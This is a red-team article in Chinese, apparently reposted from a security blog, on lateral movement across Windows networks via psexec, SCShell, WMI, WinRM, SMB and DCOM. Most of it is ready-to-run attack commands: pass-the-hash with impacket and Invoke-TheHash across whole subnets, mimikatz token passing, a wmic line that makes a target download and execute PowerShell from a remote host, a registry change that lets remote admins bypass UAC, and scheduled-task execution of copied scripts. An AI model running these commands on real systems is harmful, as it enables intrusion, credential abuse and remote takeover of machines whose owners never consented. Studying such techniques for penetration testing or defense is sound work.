红蓝视角之横向移动——红队视角
2022-7-17 00:1:54 Author: 白帽子(查看原文) 阅读量:15 收藏

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

强调:文章涉及均为本地测试靶机

No.1

SC类

psexec类的工具很多渗透框架都有集成,Metasploit的psexec psexec_psh,Impacket psexec,pth-winexe,Empire Invoke-Psexec,最早Sysinternals公司pstools工具包当中的psexec。但在实战中会在目标机释放文件、创建服务,且需要开启admin$ 445端口共享。很多时候已无法开展渗透测试工作。

执行原理:
♥通过ipc$连接,然后释放psexesvc.exe到目标机器。
♥通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
♥客户端连接执行命令,服务端启动相应的程序并执行回显数据。

实操:

Tips

http隧道中的横向移动 只有pth-winexe可以生效

SCShell是无文件横向移动工具,它依赖ChangeServiceConfigA来运行命令。该工具的优点在于它不会针对SMB执行身份验证。一切都通过DCERPC执行。无需创建服务,而只需通过ChangeServiceConfigAAPI 远程打开服务并修改二进制路径名即可(所以要事先知道目标上未启动的服务名称,可以采用通用的例如卷影服务vss)。支持py和exe两种文件类型。
(https://github.com/Mr-Un1k0d3r/SCShell)

实操:

windows
SCShell.exe target service payload domain username password

linux
python scshell.py -service-name Netlogon ./administrator:[email protected]

No.2

WMI类

WMI默认安装,用于管理本地和远程的windows系统,利用wmi横向移动不会产生日志,不会写入东西进硬盘,具有很高的隐蔽性。常用工具有PTH-WMIS (最早wmi攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)、impackets wmiexec(Linux跨window经常用)、wmiexec.vbs (回显+半交互shell)、Invoke-WmiCommand&Invoke-PowerShellWmi、WMICMD(单条回显 https://github.com/nccgroup/WMIcmd)、sharpwmi(server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果 https://github.com/QAX-A-Team/sharpwmi)。利用wmi需要目标机开启Windows Management Instrumentation服务(默认开启)并且防火墙允许135端口流量通过。

wmiexec.vbs执行原理:

1.调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机

2.建立一个到目标的IPC连接

3.建立一个共享文件夹,用于远程读取命令执行结果

4.用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件

5.通过FSO组件访问远程共享文件夹中的结果文件,将结果输出

6.调用WMI执行命令删除结果文件

7.WMIEXEC退出时,删除文件共享

实操:

Tips

1.impacket下wmiexec利用hash传递:
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c [email protected] "query user" 本地管理员 hash 传递
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c rootkit/[email protected] "net view /domain" 域管 hash 传递

2.impacket打包好的程序 https://github.com/maaaaz/impacket-examples-windows

3.kali下还有一个跨平台的工具pth-winexe:可配合socks5代理使用
pth-winexe -U administrator%ff --system --ostype=1 //192.168.181.131 cmd

4.windows下利用自带wmic横向上线:
wmic /NODE:192.168.181.131 /user:"administrator" /password:"ff" PROCESS call create "powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx:80/a'))""

5.内网环境中利用此powershell可以批量撞密码:https://github.com/Kevin-Robertson/Invoke-TheHash
用法:Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
域环境 Invoke-TheHash -Type WMIExec -Target  192.168.3.0/24 -Domain rookit.org -Username administrator -Hash e1c61709dffcf154ac9d77b5024f6d10
工作组环境 Invoke-TheHash -Type WMIExec -Target 192.168.3.0/24 -Username administrator -Hash b4e535a9bb56bcc084602062c9e2a9d4

No.3

winRM类

winRM是Windows远程管理服务,默认监听端口5985(HTTP)&5986 (HTTPS),在2012以后默认开启。(winRM开启后,HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy值会设为1,这将导致远程非SID 500本地管理员帐户可以绕过uac特权提升,执行命令。手动设置为1:reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f  )

查看本地是否开启Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}
查看目标是否开启Test-WsMan 192.168.181.131
连接时需要设置添加信任所有主机:
cmd下winrm set winrm/config/Client @{TrustedHosts="*"}
powershell下Set-Item WSMan:localhost\client\trustedhosts -value * 之后重启:Restart-Service WinRM
横向移动:

cmd下:winrs -r:http://192.168.181.131:5985 -u:Administrator -p:ff "cmd.exe"
域环境:winrs-r:http://DC1.haboob.local/wsman/username:"HABOOB\admin"/password:"[email protected]""ipconfig/all"
powershell下Enter-PSSession 192.168.181.131 -Credential administrator(弹出窗口输入密码)
或者Invoke-Command -ComputerName 192.168.3.73 -ScriptBlock { ipconfig } -credential administrator
实操:

Tips

利用winRM哈希传递:
生成用于传递密码哈希值的令牌:
mimikatz sekurlsa::pth /user:administrator /domain:192.168.0.106 /ntlm:621cdf4b49c06ec28caa7a6cab4ebac8 /run:"powershell -w hidden"

切换身份:steal_token ****

执行命令:
powershell Invoke-Command -ComputerName 192.168.0.106 -ScriptBlock {dir c:\}

linux下可使用python做winrm横向:
运行之前配好环境:
debian\ubuntu:
sudo apt-get install gcc python-dev libkrb5-dev
pip install pywinrm
pip install pywinrm[kerberos]

rhel\centos:
sudo yum install gcc python-dev elkrb5-devel krb5-workstation python-devel
pip install pywinrm

pip install pywinrm[kerberos]winrmtest.py:

from winrm import Protocol  

p = Protocol(
endpoint='http://192.168.0.106:5985/wsman',
transport='ntlm',
username='administrator',
password='QWEqwe123',
server_cert_validation='ignore')
shell_id = p.open_shell()
command_id = p.run_command(shell_id, 'ipconfig', ['/all'])
std_out, std_err, status_code = p.get_command_output(shell_id, command_id)
p.cleanup_command(shell_id, command_id)
print "std_out: " + str(std_out)
print "std_err: " + str(std_err)
print "status_code: " + str(status_code)
p.close_shell(shell_id)

No.4

smb类

除了利用以上三类工具外,还可以手动建立ipc管道 操作远程主机
windows下:
利用流程:

1.建立IPC链接到目标主机
连接域机器:net use \\server\ipc$"password" /user:domain\username
连接工作组:net use \\server\ipc$"password" /user:username

2.拷贝要执行的命令脚本到目标主机
copy 路径\文件名 \\IP\共享目录名

3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本(Windows Server 2012 以后的版本没有at命令,只有schtasks命令)
net time \\ip
at \\192.168.1.5 21:52 c:\windows\temp\1.bat

4.删除IPC链接

实操:

linux下查看远程服务器共享的目录

操作文件

cd(进入目录),ls(罗列文件和文件夹),get(下载文件),put(上载文件)

遇到戒备森严的域环境时,也可以尝试一种dcom横向技术。找到特定的DCOM注册表键值,这些键值指向“远程”主机上并不存在一些二进制程序。拷贝该名称程序至目标主机路径后,通过powershell远程调用注册表键值执行。

(实测win2012存在C947D50F-378E-4FF6-8835-FCB50305244D  mobsync.exe利用项)


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246182&idx=1&sn=49ff6a76f7a2bed70f98c5ac36dd104c&chksm=82ea578fb59dde991e08c9c35b8bca87071cbc6510faa79a1d54738ce1248d461a7b05fd6a2b#rd
如有侵权请联系:admin#unsafe.sh